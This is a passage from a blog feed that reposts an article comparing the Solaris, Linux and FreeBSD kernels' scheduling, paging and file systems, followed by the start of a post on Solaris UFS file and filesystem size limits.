etc.) versions of the OSes. Many of the "facts" are incorrect for the newest releases, and some were incorrect for the releases they intended to describe. Of course, most of them also make value judgments on the merits of the OSes in question, and there is little information comparing the kernels themselves. The following sites seem more or less up to date:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;"&lt;a href="http://www.softpanorama.org/Articles/solaris_vs_linux.shtml"&gt;Solaris Vs. Linux&lt;/a&gt;" is pretty one-sided for Solaris 10 over Linux.&lt;/li&gt;&lt;li&gt;"&lt;a href="http://software.newsforge.com/print.pl?sid=04/12/27/1243207"&gt;Comparing MySQL Performance&lt;/a&gt;" on Solaris 10, Linux, FreeBSD, and others.&lt;/li&gt;&lt;li&gt;"&lt;a href="http://see.sun.com/Apps/DCS/mcp?q=STI00HTG6Hjxpv"&gt;Fast Track to Solaris 10 Adoption&lt;/a&gt;" has some comparisons between Linux and Solaris.&lt;/li&gt;&lt;li&gt;"&lt;a href="http://www.rednova.com/news/technology/135074/solaris_10_heads_for_linux_territory/index.html"&gt;Solaris 10 Heads for Linux Territory&lt;/a&gt;" is not really a comparison, but reviews Solaris 10.&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;One of the more interesting aspects of the three OSes is the amount of similarities between them. Once you get past the different naming conventions, each OS takes fairly similar paths toward implementing the different concepts. Each OS supports time-shared scheduling of threads, demand paging with a not-recently-used page replacement algorithm, and a virtual file system layer to allow the implementation of different file system architectures. Ideas that originate in one OS often find their way into others. For instance, Linux also uses the concepts behind Solaris's &lt;a href="http://www.usenix.org/publications/library/proceedings/bos94/bonwick.html"&gt;slab memory allocator&lt;/a&gt;. Much of the terminology seen in the FreeBSD source is also present in Solaris.  With Sun's move to open source Solaris, I expect to see much more cross-fertilization of features. Currently, the LXR project provides a source cross-reference browser for FreeBSD, Linux, and other Unix-related OSes, available at &lt;a href="http://fxr.watson.org/"&gt;fxr.watson.org&lt;/a&gt;. It would be great to see OpenSolaris source added to that site.&lt;/p&gt;  &lt;span style="font-weight: bold;"&gt;Scheduling and Schedulers&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The basic unit of scheduling in Solaris is the &lt;code&gt;kthread_t&lt;/code&gt;; in FreeBSD, the &lt;code&gt;thread&lt;/code&gt;; and in Linux, the &lt;code&gt;task_struct&lt;/code&gt;. Solaris represents each process as a &lt;code&gt;proc_t&lt;/code&gt;, and each thread within the process has a &lt;code&gt;kthread_t&lt;/code&gt;. Linux represents processes (and threads) by &lt;code&gt;task_struct&lt;/code&gt; structures. A single-threaded process in Linux has a single &lt;code&gt;task_struct&lt;/code&gt;. A single-threaded process in Solaris has a &lt;code&gt;proc_t&lt;/code&gt;, a single &lt;code&gt;kthread_t&lt;/code&gt;, and a &lt;code&gt;klwp_t&lt;/code&gt;. The &lt;code&gt;klwp_t&lt;/code&gt; provides a save area for threads switching between user and kernel modes. A single-threaded process in FreeBSD has a &lt;code&gt;proc&lt;/code&gt; struct, a &lt;code&gt;thread&lt;/code&gt; struct, and a &lt;code&gt;ksegrp&lt;/code&gt; struct. The &lt;code&gt;ksegrp&lt;/code&gt; is a "kernel scheduling entity group." Effectively, all three OSes schedule threads, where a thread is a &lt;code&gt;kthread_t&lt;/code&gt; in Solaris, a &lt;code&gt;thread&lt;/code&gt; structure in FreeBSD, and a &lt;code&gt;task_struct&lt;/code&gt; in Linux.  &lt;p&gt;Scheduling decisions are based on priority. In Linux and FreeBSD, the lower the priority value, the better.  This is an inversion; a value closer to 0 represents a higher priority. In Solaris, the higher the value, the higher the priority.  &lt;a href="http://www.opensolaris.org/os/article/2005-10-14_a_comparison_of_solaris__linux__and_freebsd_kernels/#table1"&gt;Table 1&lt;/a&gt; shows the priority values of the different OSes.&lt;/p&gt;   &lt;table border="1"&gt; &lt;caption&gt;&lt;em&gt;Table 1. Scheduling Priorities in Solaris, Linux, and FreeBSD&lt;/em&gt;&lt;/caption&gt; &lt;tbody&gt; &lt;tr&gt; &lt;/tr&gt;&lt;tr&gt;&lt;td rowspan="6"&gt;&lt;strong&gt;Solaris&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt; &lt;tr&gt;&lt;th&gt;Priorities&lt;/th&gt; &lt;th&gt;Scheduling Class&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;0-59&lt;/td&gt; &lt;td&gt;Time Shared, Interactive, Fixed, Fair Share Scheduler&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;60-99&lt;/td&gt; &lt;td&gt;System Class&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;100-159&lt;/td&gt; &lt;td&gt;Real-Time (note real-time higher than system threads)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;160-169&lt;/td&gt; &lt;td&gt;Low level Interrupts&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td rowspan="3"&gt;&lt;strong&gt;Linux&lt;/strong&gt;&lt;/td&gt; &lt;th&gt;Priorities&lt;/th&gt; &lt;th&gt;Scheduling Class&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;0-99&lt;/td&gt; &lt;td&gt;System Threads, Real time (&lt;code&gt;SCHED_FIFO&lt;/code&gt;, &lt;code&gt;SCHED_RR&lt;/code&gt;)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;100-139&lt;/td&gt; &lt;td&gt;User priorities (&lt;code&gt;SCHED_NORMAL&lt;/code&gt;)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td rowspan="6"&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt; &lt;th&gt;Priorities&lt;/th&gt; &lt;th&gt;Scheduling Class&lt;/th&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;0-63&lt;/td&gt; &lt;td&gt;Interrupt&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;64-127&lt;/td&gt; &lt;td&gt;Top-half Kernel&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;128-159&lt;/td&gt; &lt;td&gt;Real-time user (system threads are better priority)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;160-223&lt;/td&gt; &lt;td&gt;Time-share user&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;224-255&lt;/td&gt; &lt;td&gt;Idle user&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt;  &lt;p&gt;All three OSes favor interactive threads/processes. Interactive threads run at better priority than compute-bound threads, but tend to run for shorter time slices. Solaris, FreeBSD, and Linux all use a per-CPU "runqueue." FreeBSD and Linux use an "active" queue and an "expired" queue. Threads are scheduled in priority from the active queue. A thread moves from the active queue to the expired queue when it uses up its time slice (and possibly at other times to avoid starvation). When the active queue is empty, the kernel swaps the active and expired queues. FreeBSD has a third queue for "idle" threads.  Threads run on this queue only when the other two queues are empty. Solaris uses a "dispatch queue" per CPU. If a thread uses up its time slice, the kernel gives it a new priority and returns it to the dispatch queue. The "runqueues" for all three OSes have separate linked lists of runnable threads for different priorities.  (Though FreeBSD uses one list per four priorities, both Solaris and Linux use a separate list for each priority.)&lt;/p&gt;  &lt;p&gt;Linux and FreeBSD use an arithmetic calculation based on run time versus sleep time of a thread (as a measure of "interactive-ness") to arrive at a priority for the thread. Solaris performs a table lookup. None of the three OSes support "gang scheduling." Rather than schedule &lt;i&gt;n&lt;/i&gt; threads, each OS schedules, in effect, the next thread to run. All three OSes have mechanisms to take advantage of caching (warm affinity) and load balancing.  For hyperthreaded CPUs, FreeBSD has a mechanism to help keep threads on the same CPU node (though possibly a different hyperthread). Solaris has a similar mechanism, but it is under control of the user and application, and is not restricted to hyperthreads (called "processor sets" in Solaris and "processor groups" in FreeBSD).&lt;/p&gt;  &lt;p&gt;One of the big differences between Solaris and the other two OSes is the capability to support multiple "scheduling classes" on the system at the same time. All three OSes support Posix &lt;code&gt;SCHED_FIFO&lt;/code&gt;, &lt;code&gt;SCHED_RR&lt;/code&gt;, and &lt;code&gt;SCHED_OTHER&lt;/code&gt; (or &lt;code&gt;SCHED_NORMAL&lt;/code&gt;). &lt;code&gt;SCHED_FIFO&lt;/code&gt; and &lt;code&gt;SCHED_RR&lt;/code&gt; typically result in "realtime" threads. (Note that Solaris and Linux support kernel preemption in support of realtime threads.) Solaris has support for a "fixed priority" class, a "system class" for system threads (such as page-out threads), an "interactive" class used for threads running in a windowing environment under control of the X server, and the Fair Share Scheduler in support of resource management. See &lt;code&gt;priocntl(1)&lt;/code&gt; for information about using the classes, as well as an overview of the features of each class. See &lt;code&gt;FSS(7)&lt;/code&gt; for an overview specific to the Fair Share Scheduler. The scheduler on FreeBSD is chosen at compile time, and on Linux the scheduler depends on the version of Linux.&lt;/p&gt;  &lt;p&gt;The ability to add new scheduling classes to the system comes with a price. Everywhere in the kernel that a scheduling decision can be made (except for the actual act of choosing the thread to run) involves an indirect function call into scheduling class-specific code. For instance, when a thread is going to sleep, it calls scheduling-class-dependent code that does whatever is necessary for sleeping in the class. On Linux and FreeBSD, the scheduling code simply does the needed action. There is no need for an indirect call.  The extra layer means there is slightly more overhead for scheduling on Solaris (but more features).&lt;/p&gt;  &lt;span style="font-weight: bold;"&gt;Memory Management and Paging&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;In Solaris, every process has an "address space" made up of logical section divisions called "segments." The segments of a process address space are viewable via &lt;code&gt;pmap(1)&lt;/code&gt;. Solaris divides the memory management code and data structures into platform-independent and platform-specific parts. The platform-specific portions of memory management is in the HAT, or hardware address translation, layer. FreeBSD describes its process address space by a vmspace, divided into logical sections called regions. Hardware-dependent portions are in the "pmap" (physical map) module and "vmap" routines handle hardware-independent portions and data structures. Linux uses a memory descriptor to divides the process address space into logical sections called "memory areas" to describe process address space. Linux also has a &lt;code&gt;pmap&lt;/code&gt;&lt;p&gt; command to examine process address space.&lt;/p&gt;  &lt;p&gt;Linux divides machine-dependent layers from machine-independent layers at a much higher level in the software. On Solaris and FreeBSD, much of the code dealing with, for instance, page fault handling is machine-independent. On Linux, the code to handle page faults is pretty much machine-dependent from the beginning of the fault handling. A consequence of this is that Linux can handle much of the paging code more quickly because there is less data abstraction (layering) in the code. However, the cost is that a change in the underlying hardware or model requires more changes to the code. Solaris and FreeBSD isolate such changes to the HAT and pmap layers respectively.&lt;/p&gt;  &lt;p&gt;Segments, regions, and memory areas are delimited by:&lt;/p&gt;  &lt;ul&gt;&lt;li&gt;Virtual address of the start of the area.&lt;/li&gt;&lt;li&gt;Their location within an object/file that the segment/region/memory area maps.&lt;/li&gt;&lt;li&gt;Permissions.&lt;/li&gt;&lt;li&gt;Size of the mapping.&lt;/li&gt;&lt;/ul&gt;  &lt;p&gt;For instance, the text of a program is in a segment/region/memory area. The mechanisms in the three OSes to manage address spaces are very similar, but the names of data structures are completely different. Again, more of the Linux code is machine-dependent than is true of the other two OSes.&lt;/p&gt;  &lt;span style="font-weight: bold;"&gt;Paging&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;All three operating systems use a variation of a least recently used algorithm for page stealing/replacement. All three have a daemon process/thread to do page replacement. On FreeBSD, the &lt;code&gt;vm_pageout&lt;/code&gt; daemon wakes up periodically and when free memory becomes low. When available memory goes below some thresholds, &lt;code&gt;vm_pageout&lt;/code&gt; runs a routine (&lt;code&gt;vm_pageout_scan&lt;/code&gt;) to scan memory to try to free some pages. The &lt;code&gt;vm_pageout_scan&lt;/code&gt; routine may need to write modified pages asynchronously to disk before freeing them. There is one of these daemons regardless of number of CPUs.  Solaris also has a &lt;code&gt;pageout&lt;/code&gt; daemon that also runs periodically and in response to low-free-memory situations. Paging thresholds in Solaris are automatically calibrated at system startup so that the daemon does not overuse the CPU or flood the disk with page-out requests.  The FreeBSD daemon uses values that, for the most part, are hard-coded or tunable in order to determine paging thresholds. Linux also uses an LRU algorithm that is dynamically tuned while it runs. On Linux, there can be multiple &lt;code&gt;kswapd&lt;/code&gt;&lt;p&gt; daemons, as many as one per CPU. All three OSes use a global working set policy (as opposed to per process working set).&lt;/p&gt;  &lt;p&gt;FreeBSD has several page lists for keeping track of recently used pages. These track "active," "inactive," "cached," and "free" pages. Pages move between these linked lists depending on their uses. Frequently accessed pages will tend to stay on the active list. Data pages of a process that exits can be immediately placed on the free list. FreeBSD may swap entire processes out if &lt;code&gt;vm_pageout_scan&lt;/code&gt; cannot keep up with load (for example, if the system is low on memory). If the memory shortage is severe enough, &lt;code&gt;vm_pageout_scan&lt;/code&gt; will kill the largest process on the system.&lt;/p&gt;  &lt;p&gt;Linux also uses different linked lists of pages to facilitate an LRU-style algorithm. Linux divides physical memory into (possibly multiple sets of) three "zones:" one for DMA pages, one for normal pages, and one for dynamically allocated memory. These zones seem to be very much an implementation detail caused by x86 architectural constraints. Pages move between "hot," "cold," and "free" lists. Movement between the lists is very similar to the mechanism on FreeBSD. Frequently accessed pages will be on the "hot" list. Free pages will be on the "cold" or "free" list.&lt;/p&gt;  &lt;p&gt;Solaris uses a free list, hashed list, and vnode page list to maintain its variation of an LRU replacement algorithm. Instead of scanning the vnode or hash page lists (more or less the equivalent of the "active"/"hot" lists in the FreeBSD/Linux implementations), Solaris scans all pages uses a "two-handed clock" algorithm as described in &lt;em&gt;Solaris Internals&lt;/em&gt; and elsewhere. The two hands stay a fixed distance apart. The front hand ages the page by clearing reference bit(s) for the page. If no process has referenced the page since the front hand visited the page, the back hand will free the page (first asynchronously writing the page to disk if it is modified).&lt;/p&gt;  &lt;p&gt;All three operating systems take NUMA locality into account during paging. The I/O buffer cache and the virtual memory page cache is merged into one system page cache on all three OSes. The system page cache is used for reads/writes of files as well as &lt;code&gt;mmap&lt;/code&gt;ped files and text and data of applications.&lt;/p&gt;  &lt;span style="font-weight: bold;"&gt;File Systems&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;All three operating systems use a data abstraction layer to hide file system implementation details from applications. In all three OSes, you use &lt;code&gt;open&lt;/code&gt;, &lt;code&gt;close&lt;/code&gt;, &lt;code&gt;read&lt;/code&gt;, &lt;code&gt;write&lt;/code&gt;, &lt;code&gt;stat&lt;/code&gt;, etc. system calls to access files, regardless of the underlying implementation and organization of file data. Solaris and FreeBSD call this mechanism VFS ("virtual file system") and the principle data structure is the &lt;code&gt;vnode&lt;/code&gt;, or "virtual node." Every file being accessed in Solaris or FreeBSD has a &lt;code&gt;vnode&lt;/code&gt; assigned to it. In addition to generic file information, the &lt;code&gt;vnode&lt;/code&gt; contains pointers to file-system-specific information. Linux also uses a similar mechanism, also called VFS (for "virtual file switch"). In Linux, the file-system-independent data structure is an &lt;code&gt;inode&lt;/code&gt;. This structure is similar to the &lt;code&gt;vnode&lt;/code&gt; on Solaris/FreeBSD.  (Note that there is an &lt;code&gt;inode&lt;/code&gt; structure in Solaris/FreeBSD, but this is file-system-dependent data for UFS file systems). Linux has two different structures, one for file operations and the other for inode operations. Solaris and FreeBSD combine these as "vnode operations."  &lt;p&gt;VFS allows the implementation of many file system types on the system. This means that there is no reason that one of these operating systems could not access the file systems of the other OSes. Of course, this requires the relevant file system routines and data structures to be ported to the VFS of the OS in question. All three OSes allow the stacking of file systems.   &lt;a href="http://www.opensolaris.org/os/article/2005-10-14_a_comparison_of_solaris__linux__and_freebsd_kernels/#fs_table"&gt;Table 2&lt;/a&gt; lists file system types  implemented in each OS, but it does not show &lt;em&gt;all&lt;/em&gt; file system types.  &lt;/p&gt; &lt;table border="1"&gt; &lt;caption&gt;&lt;em&gt;Table 2. Partial List of File System Types&lt;/em&gt;&lt;/caption&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td rowspan="9"&gt;&lt;strong&gt;Solaris&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;ufs&lt;/td&gt; &lt;td&gt;Default local file system (based on BSD Fast Filesystem)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;nfs&lt;/td&gt; &lt;td&gt;Remote Files&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;proc&lt;/td&gt; &lt;td&gt;&lt;em&gt;/proc&lt;/em&gt; files; see &lt;code&gt;proc(4)&lt;/code&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;namefs&lt;/td&gt; &lt;td&gt;Name file system; allows opening of doors/streams as files&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;ctfs&lt;/td&gt; &lt;td&gt;Contract file system used with Service Management Facility&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;tmpfs&lt;/td&gt; &lt;td&gt;Uses anonymous space (memory/swap) for temporary files&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;swapfs&lt;/td&gt; &lt;td&gt;Keeps track of anonymous space (data, heap, stack, etc.)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;objfs&lt;/td&gt; &lt;td&gt;Keeps track of kernel modules, see &lt;code&gt;objfs(7FS)&lt;/code&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;devfs&lt;/td&gt; &lt;td&gt;Keeps track of &lt;em&gt;/devices&lt;/em&gt; files; see &lt;code&gt;devfs(7FS)&lt;/code&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td rowspan="8"&gt;&lt;strong&gt;FreeBSD&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;ufs&lt;/td&gt; &lt;td&gt;Default local file system (ufs2, based on BSD Fast Filesystem)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;defvs&lt;/td&gt; &lt;td&gt;Keeps track of &lt;em&gt;/dev&lt;/em&gt; files&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;ext2&lt;/td&gt; &lt;td&gt;Linux ext2 file system (GNU-based)&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;nfs&lt;/td&gt; &lt;td&gt;Remote files&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;ntfs&lt;/td&gt; &lt;td&gt;Windows NT file system&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;smbfs&lt;/td&gt; &lt;td&gt;Samba file system&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;portalfs&lt;/td&gt; &lt;td&gt;Mount a process onto a directory&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;kernfs&lt;/td&gt; &lt;td&gt;Files containing various system information&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td rowspan="7"&gt;&lt;strong&gt;Linux&lt;/strong&gt;&lt;/td&gt; &lt;td&gt;ext3&lt;/td&gt; &lt;td&gt;Journaling, extent-based file system from ext2&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;ext2&lt;/td&gt; &lt;td&gt;Extent-based file system&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;afs&lt;/td&gt; &lt;td&gt;AFS client support for remote file sharing&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;nfs&lt;/td&gt; &lt;td&gt;Remote files&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;coda&lt;/td&gt; &lt;td&gt;Another networked file system&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;procfs&lt;/td&gt; &lt;td&gt;Processes, processors, buses, platform specifics&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;reiserfs&lt;/td&gt; &lt;td&gt;Journaling file system&lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;/table&gt;  &lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Conclusions&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Solaris, FreeBSD, and Linux are obviously benefiting from each other. With Solaris going open source, I expect this to continue at a faster rate. My impression is that change is most rapid in Linux.  The benefits of this are that new technology has a quick incorporation into the system. Unfortunately, the documentation (and possibly some robustness) sometimes lags behind. Linux has many developers, and sometimes it shows. FreeBSD has been around (in some sense) the longest of the three systems. Solaris has its basis in a combination of BSD Unix and AT&amp;amp;T Bell Labs Unix.  Solaris uses more data abstraction layering, and generally could support additional features quite easily because of this.  However, most of the layering in the kernel is undocumented.  Probably, source code access will change this.  &lt;p&gt;A brief example to highlight differences is page fault handling.  In Solaris, when a page fault occurs, the code starts in a platform-specific trap handler, then calls a generic &lt;code&gt;as_fault()&lt;/code&gt; routine. This routine determines the segment where the fault occurred and calls a "segment driver" to handle the fault. The segment driver calls into file system code. The file system code calls into the device driver to bring in the page. When the page-in is complete, the segment driver calls the HAT layer to update page table entries (or their equivalent). On Linux, when a page fault occurs, the kernel calls the code to handle the fault. You are immediately into platform-specific code. This means the fault handling code can be quicker in Linux, but the Linux code may not be as easily extensible or ported.&lt;/p&gt;  &lt;p&gt;Kernel visibility and debugging tools are critical to get a correct understanding of system behavior. Yes, you can read the source code, but I maintain that you can easily misread the code. Having tools available to test your hypothesis about how the code works is invaluable. In this respect, I see Solaris with &lt;code&gt;kmdb&lt;/code&gt;, &lt;code&gt;mdb&lt;/code&gt;, and DTrace as a clear winner. I have been "reverse engineering" Solaris for years. I find that I can usually answer a question by using the tools faster than I can answer the same question by reading source code. With Linux, I don't have as much choice for this. FreeBSD allows use of &lt;code&gt;gdb&lt;/code&gt; on kernel crash dumps. &lt;code&gt;gdb&lt;/code&gt; can set breakpoints, single step, and examine and modify data and code. On Linux, this is also possible once you download and install the tools.&lt;/p&gt;  &lt;p&gt;&lt;em&gt;Max Bruning currently teaches and consults on Solaris internals, device drivers, kernel (as well as application) crash analysis and debugging, networking internals, and specialized topics.  Contact him at max at bruningsystems dot com or http://mbruning.blogspot.com/.&lt;/em&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7456767307160502225-4772570506311606162?l=all-unix.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://all-unix.blogspot.com/feeds/4772570506311606162/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7456767307160502225&amp;postID=4772570506311606162' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/4772570506311606162'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7456767307160502225/posts/default/4772570506311606162'/><link rel='alternate' type='text/html' href='http://all-unix.blogspot.com/2007/04/comparison-of-solaris-linux-and-freebsd.html' title='A Comparison of Solaris, Linux, and FreeBSD Kernels'/><author><name>Alvin</name><uri>http://www.blogger.com/profile/16016156059643729333</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7456767307160502225.post-330712093272241893</id><published>2007-04-17T10:57:00.000+08:00</published><updated>2007-04-17T11:02:11.254+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Limitations of File System for Solaris OE</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Description&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;This document will describe the limitations of the filesystem for the Solaris [TM] Operating Environment. &lt;p&gt;The effect of OpenBoot[TM] PROM (OBP) revisions on filesystem size limitations is also discussed.&lt;/p&gt;  &lt;p&gt;&lt;b&gt;Definitions:&lt;/b&gt;&lt;/p&gt; &lt;ol&gt;&lt;li&gt;     &lt;p&gt;1 Mbyte (megabyte) 2^20 bytes (1,048,576 bytes)&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;     &lt;p&gt;1 Gbyte (gigabyte) 2^30 bytes (1,073,741,824 bytes)&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;     &lt;p&gt;1 Tbyte (terabyte) 2^40 bytes (1,099,511,627,776 bytes)&lt;/p&gt;   &lt;/li&gt;&lt;/ol&gt; &lt;p&gt;In general if this document refers to a limitation of (for instance) 2 Gbyte, ¨2 Gbyte  1 byte〃 (1,073,741,823 bytes) is meant.&lt;/p&gt; &lt;p&gt;To improve readability, this has been abbreviated to ¨2 Gbyte〃.&lt;/p&gt; &lt;p&gt;The symbol ¨~〃 is used to denote ¨approximately〃&lt;/p&gt; &lt;p&gt;&lt;b&gt;Maximum size of a single file and a filesystem.&lt;/b&gt;&lt;/p&gt; &lt;p&gt;This also applies to Solaris x86, but there may be some issues with disk drives larger than 30 Gbyte. This is due to hardware limitations with some PC motherboard/disk configurations.&lt;/p&gt; &lt;div class="informaltable"&gt; &lt;table border="1"&gt;   &lt;colgroup&gt;&lt;col&gt;&lt;col&gt;&lt;col&gt;&lt;/colgroup&gt;&lt;tbody&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;OS Release&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;Single file &lt;/i&gt;&lt;/b&gt;&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: center;"&gt;&lt;b&gt;&lt;i&gt;File system&lt;/i&gt;&lt;/b&gt;&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p&gt;Solaris 2.5.1&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: right;"&gt;2 Gbyte&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: right;"&gt;1 Tbyte&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p style="font-family: serif;"&gt;Solaris 2.6 - 9 12/02 (U3)&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: right;"&gt;~1012 Gbyte&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: right;"&gt;1 Tbyte&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;     &lt;tr&gt;       &lt;td&gt;       &lt;p&gt;Solaris 9 08/03 (U4)  - Solaris 10 FCS&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: right;"&gt;~1023 Gbyte&lt;/p&gt;       &lt;/td&gt;       &lt;td&gt;       &lt;p style="text-align: right;"&gt;16 Tbyte&lt;/p&gt;       &lt;/td&gt;     &lt;/tr&gt;   &lt;/tbody&gt; &lt;/table&gt; &lt;/div&gt;      &lt;ol&gt;&lt;li&gt;A single file in Solaris 2.6 through Solaris 9 (U3) is limited to approximately 1012 Gbyte because the file must fit inside the 1 Tbyte filesystem. The filesystem is nominally 1 Tbyte, but in fact, due to the overhead in such a large filesystem, the largest single file ends up being about 1012 Gbyte. (part of this is a bug, but even if bug-free, a single file can't be 1 Tbyte due to the filesystem overhead). The overhead in the filesystem includes amongst other things, items such as superblock backups and inode tables. The example given here is using 1024 Kbyte (1 Mbyte) for the number of bytes per inode (nbpi) within the UFS filesystem. If nbpi is set to a lower value, more filesystem space will be allocated to inode tables and less will be available to store data. With nbpi=8 Kbyte, the maximum single file size would be smaller than 1012 Gbyte. The file in this example cannot use any of the minfree area set up on the filesystem (which is setup for ¨root only〃 use). On a 1 Tbyte filesystem minfree is set to 1% which translates to about 10 Gbyte.&lt;/li&gt;&lt;li&gt;     &lt;p&gt;A safe assumption here would be that the limit on the size of a single file is the size of the filesystem,minus 1% to 2% overhead. In Solaris 2.6, the swap and tmpfs filesystems are still limited to 2 Gbyte. This is not the total amount of swap, it is a limit per swap slice or per swap file. A swap slice or file may be defined as larger than 2 Gbyte, but any space above 2 Gbyte in that slice or file will not be accessible and the size of the slice or file will be reported by the swap command as 2 Gbyte. There can be multiple swap slices or files totaling more than 2 Gbyte. Any later release of Solaris running 32 bit kernel has the same limitation. Later releases of Solaris running a 64 bit kernel do not have this limitation. See the ¨USAGE〃 paragraph in the Solaris 8 swap(1M) manual page for the new limits.&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;     &lt;p&gt;Solaris 9 Update 4 introduced multiterabyte UFS.  The maximum individual file size is still the same as before (~1 Tbyte ), as increasing it would require radical on-disk format changes. The total filesystem size can now be up to 16 Tbyte. The -T option is specified to the newfs command to create such a filesystem. See the newfs(1M) manpage for additional information. There is also a limit of 1 million files per Tbyte, for instance. A 4 Tbyte UFS filesystem would have a 4 million files limit). This is done to keep fsck times reasonable (even when logging is enabled).&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;     &lt;p&gt;Multiterabyte UFS functionality can also be added to earlier releases of Solaris 9 by installing the UFS patch &lt;a href="http://sunsolve2.central.sun.com/search/document.do?assetkey=urn:cds:docid:1-21-113454-09-1"&gt;113454-09&lt;/a&gt; or later. See the Special Install Instructions in the patch README for a list of additional patches required to get the full Multiterabyte functionality.&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;     &lt;p&gt;The maximum single file size in a multiterabyte filesystem, which is greater than 1 Tbyte is 1 Tbyte minus 500 Mbyte or 1023.5 Gbyte As a rule of thumb this should be taken as 1023 Gbyte.&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;     &lt;p&gt;A multiterabyte UFS filesystem is not bootable (This means the root filesystem cannot be a multiterabyte filesystem).&lt;/p&gt;   &lt;/li&gt;&lt;li&gt;A multiterabyte UFS filesystem is not mountable in any version of 32bit Solaris kernel.&lt;/li&gt;&lt;/ol&gt;         